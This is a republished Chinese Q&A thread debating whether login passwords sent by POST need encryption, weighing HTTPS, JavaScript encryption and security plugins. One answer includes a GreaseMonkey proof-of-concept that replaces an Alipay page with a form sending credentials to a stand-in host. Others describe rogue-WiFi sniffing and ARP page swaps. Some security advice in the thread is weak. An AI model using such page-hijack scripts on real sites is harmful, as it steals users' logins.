POST数据加密问题

简介:

首先来说,目前常用的方式有两种,

  1. 浏览器端安全控件,淘宝、银行等均采用该方式,优点是安全系数高,缺点是投资较大;

  2. 使用ssl方式完成登陆,安全系数一般,投资较低(需要申请ssl证书)

至于使用js在post前加密从原理上来说是根本没有意义的,就像你说的,js是明文的,所以破解并不难。



如果你要开发的应用对安全性有要求,建议采用ssl方式即可,如果对安全性要求极高,选择安全控件。


事实上,对于80%的网站,登录信息安全问题并不重要,尤其是抓包导致泄露的几率极低。因为抓包这个事其实技术门槛还是很高的,如果盗取的账号没有极高的价值很少有人会去做。就像微博,QQ等,服务商也只是提供了各种密保,而没有针对账号提交过程提供太大的保护。


99%的账号丢失问题来自于木马,通过监控键盘事件完成盗取,而这种行为js根本无能为力。甚至前面说过的两种加密方式也同样。


对于普通的网站,通常的手法就是要求认证用户的安全邮箱,当密码丢失的时候可以通过安全邮箱重置密码,这就足够了。不建议尝试额外的手机找回密码、***绑定之类的功能,除非您的网站已经足够强大,否则有一点安全知识的人都不会在莫名其妙的网站上输入自己的手机号和***的。同理,就算你提供了安全控件,很多人可能也不会选择安装,因为你没办法证明自己提供的安全控件是安全的。


不要把抓包想的太容易哦,谁知道用户什么时候会登录,从什么地方过来,发到哪里,总不能24小时盯着吧?费这么大劲偷到了,连几千块钱都不值,他不是白费力气吧?能用这种方式盗取信息的人,你觉得他会对万把块的小钱感兴趣吗?除非是有人花钱请他对你的网站恶意攻击。也简单,平时注意备份就好了。和洪水地震的几率差不多。


【余天升的回答(49票)】:

看到上面几位的回答,我真心觉得,当前信息安全保护的意识过于低下,连一些基本的保护措施都能够被认为是「没有必要」。同意@任冬 的观点,都在偷懒,不重视安全,没有什么理由好开脱的

如同@lumin 所说,信息安全的保护确实分成两个部分,端的安全(可以具体到客户端和服务器端)和链路的安全,也就是传输过程中的安全。

一般我们可以认为,端都是可信的。对于服务器端,你愿意使用这个公司提供的服务,一个隐含的条件就是相信这个提供服务的公司,所以服务器端可以认为是比较安全的。

而客户端,你愿意使用这台电脑,也表明你认为这台电脑是比较安全的。只有对于一些安全级别更高的业务,比如在线交易,才需要额外的再对客户端的安全性做一次校验。但是,要真正的保证客户端安全是很难的,需要使用像可信计算这样的技术。常见的能够很大程度保护客户端安全的设备,比如iOS设备、PSP之类的游戏机,也是能够遭到破解,所以这个问题至今没有比较完善的解决方案。

通常我们认为,自己肯定不会给自己的电脑装上木马,网吧的老板一般不会跟黑客一伙,也不会在网吧的电脑上装木马。所以保护的焦点,应该集中在通信的链路上,而不是端上,而且,在链路上进行窃听,比在大部分时候在端上进行攻击都来得有效和难以发现。

一个很简单的例子,如果我用笔记本在一个外租房比较密集的小区,建立一个无密码的WiFi热点,保证很多试图蹭网的人连接上来,然后如果我用WireShark(或者用WinPcap写一个过滤程序),监听WiFi收到转发的数据包,那一定能截获大批的用户名和口令,至少,如果他上知乎,用户名和口令我一定能得到。这个例子也说明了,各位千万不要贪图小便宜而去蹭别人的WiFi,这是一个对自己来说很危险的行为。

实施网络窃听是如此的容易,甚至不需要额外安装什么黑客软件就可以进行。对于很多场合,我们对于传输的内容被窃取并不关心,我不怕别人知道我看了什么新闻,也不怕别人知道我在知乎回答了什么问题,但是用户名和口令这样的身份鉴别信息是绝对不可以被窃取的,因为可能会引起一系列其他的安全问题,CSDN泄漏以后大家都在改密码就能说明问题。对于关键身份鉴别信息在传输时进行加密是一种非常有必要,而且也是非常重要的事情。

至于安全成本问题,我觉得,一个开发人员的薪水一年是十万以上,一年三五千的SSL证书,对于一个网站来说,根本就是九牛一毛。

【任冬的回答(17票)】:

都偷懒,不重视安全。这个没什么理由好开脱的。

一般来说,登录的界面用https还是挺多的(技术实现比较简便),但是有个问题就是第一次打开速度太慢。比http方式慢不少

很多游戏的登录都是这个方式,如:

http://sdo.com的登录方式就是https的

http://passport.the9.com也是

为了保证浏览速度,可以采用js加密方式

用js加密可以采用非对称加密技术,如:rsa加密算法,就算中间人截获数据包,也不知道真实的密码

qq就有登陆采用js加密的,如:http://t.qq.com

http://weibo.com的登录也是采用http+js加密方式

优点就是速度快

这两个解决的都是传输过程中的安全,一般基本就够用了。

如果还要解决输入的安全,只能安装浏览器插件了。比如很多银行登录,支付登录,都会有要求,这个也要看插件和操作系统结合的紧密程度,我之前的主管可以写程序截获安装了银行插件的按键记录。

最好还是开发这块重视起来。

【于航的回答(3票)】:

稍微纠正一下其它答案中的问题。

js加密(比如腾讯)没什么安全性可言,攻击者只要把你访问的页面整个替换掉就可以了。共用路由器的话,用ARP病毒应该很容易做到。

按照类似的逻辑,只要在登录的时候用户看不到地址是https,任何“其它方法”都不安全。就不必讨论js或者类似方案了。

就算是用插件登录,在很多时候,攻击者也可以修改页面,让输入框根本不使用这个插件。所以除非插件另外有验证页面内容的功能,还是不能不使用https。而且就算使用https,对于本地的病毒之类的问题,有些插件也不能阻止攻击者绕过这个插件。

比如以下GreaseMonkey脚本在Linux,Firefox中验证成功,Windows和其它浏览器就不逐个尝试了(如果Windows不行的话,还有一种合理的解释是Linux版仅仅用于避免Windows用户访问“更不安全”的页面)。以下脚本仅仅用于验证概念。真正用于攻击的话,首先要把页面做得和支付宝官方页面比较像,还要能自动给Firefox安装脚本,最好还能避免用户发觉,让用户以为登录不上去是因为网络错误或密码错误。

// ==UserScript==

// @name alipay hacker test

// @namespace afdsjalfwhahefhwadskla

// @include https://www.alipay.com/

// @version 1

// @grant none

// ==/UserScript==

document.body.innerHTML='<form action=“https://www.example.com" method="get"><input name="username"><input type="password" name="password"><input type="submit"></form>'

所以说,插件在很多时候也都是自欺欺人。可能阻止了一部分流行的病毒的行为,但是有针对性的攻击是否也能阻止,难说。只考虑网络安全的话用https即可,不需要另外的插件。

更进一步地说,考虑病毒的影响的话,某些直接使用自己的客户端的验证方式也无法保证安全。比如某个病毒作者自己做一个登陆框,替换掉QQ.exe,QQ自身没有任何防范方法。只是用户很快就会发现问题而已,因为登录不上去。对QQ可能影响不大,但是想象一下要是有银行用类似的方法,病毒可以在攻击者得到密码之后,立即破坏系统文件,切断用户的网络,可以稍微用蓝屏之类的方式掩饰一下,避免用户很快直接联系银行,然后攻击者立即将用户的存款转出。只是病毒的体积可能有些大,看现在的网速可能也不是很大的问题。

网速比较快的话,USB Key也可以做个程序远程与硬件交互,攻击者那边再装个虚拟的硬件驱动,实在不行就用虚拟机。有些设备可能解决了这些问题,毕竟网络不太可能完全没有延迟,而且带宽有限。有些设备可能没有,或者目的仅仅是避免依赖于密码。

但是比如说,使用手机短信验证,而且保证手机不中毒,或者比如说使用带有屏幕的USB Key,那么应该是安全的。不过个人认为受盗号影响不大的普通网站没必要在用户自己中毒造成的问题上下太多功夫。这是用户自己和杀毒软件的责任。

另外关于明文存储密码,有些人有概念错误(以下专业的人可以不必看)。明文存储密码不是要避免有人用用户的密码去登录其它网站,而是在网站自身的数据库泄露之后,避免有人直接用泄露的密码直接登录自己的网站。“从技术上保证一个网站的密码不能用于登录另一个网站”,不应该是网站的责任,而是浏览器应该做的事,虽然现在没有哪个浏览器做了这件事。

服务器的数据库的所谓密码加密,其实是不可逆的hash,hash之后直接与数据库比较。但是js加密(或者https加密)要是用同样的方法的话,攻击者得到加密之后的内容,就可以跳过js加密的步骤,用加密后的内容直接通过验证。所以任何客户端的加密方法,都应该保证一个加密后的数据不能重复使用两次。使用的算法一般应该是可逆的,也有一些其它方案,比如两次操作顺序可交换的不可逆算法。

所以以上就有三种不同意义的加密:1.用户在不同网站上使用不同的密码;2.传输过程中的加密;3.网站自身数据库的加密。如果要达到目的,任何两个都不能共用同一加密过程。

第一条比起在浏览器上实现这个功能,现在似乎有个另外的趋势是用一个账号登录多种服务。实际上有一些安全隐患,因为某些不重要的小网站可以用QQ、微博账号登录,某些购物网站一样也可以用QQ、微博账号登录。这样在某些明知不安全的环境,可能比如一些网吧,注重安全而又想登录小网站的人就会比较困扰。

【WEAINE的回答(0票)】:

我最近抽空在写的博客系统传输用户信息的时候各种加密,我已经无意间领先了知乎豆瓣了是么。。

【lumin的回答(7票)】:

这里其实提到安全问题,对于安全问题应该分为以下几种阶段:

1、客户端安全(表现为数据录入时的安全)

2、客户端到服务端之间信息传输安全(也就是你提到的数据传输时的安全)

3、服务端的安全(服务端密码存储的安全)

应该说是绝大多数网站因为安全界别的关系只要保证服务端安全就可以了,所以你看到的很多网站都是明文传输的!

如果非明文,有几种做法:

1、HTTPS,做加密签名

2、js加密后传输(不确定,因为很少这样做,但我觉的应该是可以的)

3、做浏览器插件,进行数字信息保护。

但其中还有问题。

1、2都无法做到绝对的安全,因为键盘是可以程序监控的。智能保证客户端到服务端传输过程中的安全。

3可以做模拟键盘,点击输入。相对来说无法做到键盘监控,而且传输数据也有保障。

2用JS加密因为JS脚本本身就是可下载的,所以加密方式泄露也会产生不安全问题。而且我很少看到有用JS加密后进行传输的。

其实能看出要做到绝对的安全,成本比较高。所以网站基本都会评估自己对帐号信息所要保证的安全级别再结合自己本身的业务来选择做到什么程度。

安全界别最高的,涉及到金钱交易,比如:电子商务,网银等。都采用第3种做法。

安全界别稍高的,需要注意到信息丢失代码的一些列影响,比如,微博的APP种的API KEY等信息丢失带来的一系列后果和影响。

安全界别较低的,只要保证帐号在平台内足够安全就可以了,比如:知乎、豆瓣等。因为密码丢失本身不会带来过于严重的问题,内容丢失、剽窃、乱输入相对来说影响较小,而且容易恢复。

所以一般明文传输的网站用户协议里面应该会包含用户应该自己保证自己的帐号安全,如果是用户丢失的(未到达服务端之前),后果由用户承担,如果网站弄丢了,则站方承担责任。

明文传输成本较低,而且一些网站不需要那么高级别的要求,再加上如果真用高级别的安全来要求一些不需要很高安全级别的网站,也会带来一系列很麻烦的问题。你希望在你上知乎的时候下载安装插件吗?估计你会逼疯。

所以明文传播也比较正常。

【梁皓然的回答(3票)】:

另外补充一下明文传输并不像想象那么可怕……事实上正常情况下这些报文你根本监听不到,除非你种木马、入侵路由器、局域网监听等。所以在这种情况下互联网公司一般没必要花太大代价进行这个加密的。

【赵雨函的回答(1票)】:

这个没什么好说的,明文post用户的登录密码就是对用户的侮辱,除非用的https。一般来说网站没有义务保证客户端安全(用户使用安全的浏览器,保证本地输入不被侦听),但是从发出post请求,再到服务器验证,这个过程必须加密。纯md5加密,因为现在md5被破的差不多,大部分用户的密码也相对简单,所以严格来说并不安全。至于@lumin 说的第二种方法,虽然js是公开的,但是使用非对称加密,或者直接用md5 sha1之类的是没问题的

【知乎用户的回答(0票)】:

最起码也可以怀疑网站有可能明文存储密码

但是js在客户端加密密码再传输到网站,这样假如客户端屏蔽了js的情况下就没办法登录了(还有用ucweb之类浏览器登录的情况)

【知乎用户的回答(2票)】:

楼上,js做md5/sha1之后到server端没法验证了阿。因为根本无法正常解密。

而且,纯md5/sha1并不安全,sniffer到秘文然后rainbow table直接lookup就ok了阿。

至于在客户端JS做md5/sha + salt + pepper的方式,貌似很少有这么做的?

【夜末的回答(1票)】:

SSL一年三五千,加上服务器,域名,甚至IOS开发者注册费,一年下来也好几万了。其实大部分程序员都不容易,尤其是自己创业的。凭着个人爱好和一腔热血,埋头苦干好几个月甚至大半年,做出来能不能赚回成本都还是个问题。我相信大部分程序员在开发项目的时候都在绞尽脑汁把最好的解决方案呈现给用户,那么用户是否也应该多些宽容和支持呢? 如果家境充盈可以给你喜欢的免费软件捐点钱,至少别用盗版软件。没钱也可以帮着宣传或者给作者写封感谢信。题主在发现了这些网站都有劫持漏洞的是时候,有没有给软件商发封反馈邮件?我现在终于明白了为何开源世界如此繁荣且无私,是不是程序员们都在互相怜悯。

当然程序员们也应该多多考虑安全问题,好的程序员往往能自黑,何况多学一些黑客防攻总是好的。没钱买ssl也可以用js不可逆向加密,不会比服务器端加密的质量差。开源的js加密库网上有很多都做的非常好。

另外回复一下楼上的:js不可逆向加密能比可逆的ssl差?我是菜鸟别逗我。js加密能力不比别的语言差,只不过js对网络劫持束手无策。服务端无法验证js加密后的密文?呵呵,我是菜鸟都知道第一次注册的时候就把js加密后的密码存到数据库就ok了。类似的方法还有很多。

-------------------我是为了不跑题的分割线-------------------

回答题主的问题:正常。

互联网这个行业很年轻,还有很长的路要走。

【知乎用户的回答(0票)】:

不单是国内的网站,IBM网站用IBM ID登录是明文、苹果APPLE ID也是明文(但是HTTPS)。

我的观点是:

如果是通过浏览器插件实现加密,对于大多数网站来说为了安全而要求用户安装插件所产生的用户体验的牺牲是不值得的;而如果是JS方式,对于惦记你密码来说的人,也没有实际的障碍;还有是HTTPS,个人觉得性能什么的还是其次,可以参考












本文转自ljianbing51CTO博客,原文链接:http://blog.51cto.com/ljianbing/1607390 ,如需转载请自行联系原作者




相关文章
|
8月前
|
自然语言处理 安全 网络协议
HTTPS的加密机制和加密流程?
HTTPS的加密机制和加密流程?
|
18天前
|
存储 安全 API
oss服务器端加密(SSE)
阿里云OSS提供服务器端加密(SSE),自动加密上传的数据并透明解密下载,保护云端对象的隐私和机密性。SSE支持两种方式:SSE-KMS(使用KMS托管CMK)和SSE-OSS(OSS管理加密密钥)。加密过程在服务器端完成,对用户应用透明且兼容标准HTTP接口。云盒和ossutil工具也支持此功能,让用户轻松管理加密对象,确保数据存储和传输安全。用户可按需选择密钥管理方式。
15 4
|
3月前
|
存储 JSON 算法
登录认证-登录校验-会话技术方案选择和对比(cookie、session和JWT令牌)
登录认证-登录校验-会话技术方案选择和对比(cookie、session和JWT令牌)
|
11月前
|
域名解析 缓存 网络协议
HTTP 和 HTTPS(请求响应报文格式 + 请求方法 + 响应状态码 + HTTPS 加密流程 + Cookie 和 Session)
1. HTTP 是什么 2. HTTP 请求报文和响应报文的格式 1)请求报文格式 2)响应报文格式 3)报文中空行的作用 3. HTTP 的长连接和短连接 4. URL 1)在浏览器中输入 www.baidu.com 后执行的全部过程 5. HTTP 常用的请求方法 6. GET 和 POST 的区别 7. HTTP 常见的响应状态码 8. HTTPS 是什么 1)SSL 协议 9. HTTPS 怎么进行 “加密” 1)对称加密 2)非对称加密 3)CA 证书 4)HTTPS 加密的完整流程 10. HTTPS 的优缺点 11. HTTPS 和 HTTP 的区别
267 0
|
存储 Web App开发 JSON
JWT、 超详细、分析、token、鉴权、组成、优势 下
JWT、 超详细、分析、token、鉴权、组成、优势 下
358 0
|
存储 JSON 缓存
JWT、 超详细、分析、token、鉴权、组成、优势 上
JWT、 超详细、分析、token、鉴权、组成、优势 上
659 0
|
JSON 算法 fastjson
AES 加密解密HTTP传输乱码问题
AES 加密解密HTTP传输乱码问题
1966 0
|
数据安全/隐私保护 网络架构 存储
快速理解 session/token/cookie 认证方式
目录 目录 cookie session token cookie Web Application 一般以 HTTP 协议作为传输协议, 但 HTTP 协议是无状态的.
1380 0
|
XML 存储 JSON
JSON Web Token (JWT),服务端信息传输安全解决方案。
JWT介绍 JSON Web Token(JWT)是一种开放标准(RFC 7519),它定义了一种紧凑独立的基于JSON对象在各方之间安全地传输信息的方式。这些信息可以被验证和信任,因为它是数字签名的。JWTs可以使用一个密钥(HMAC算法),或使用RSA的公钥/私钥密钥对对信息进行签名。 让我们进一步解释这个定义的一些概念。
537 0
JSON Web Token (JWT),服务端信息传输安全解决方案。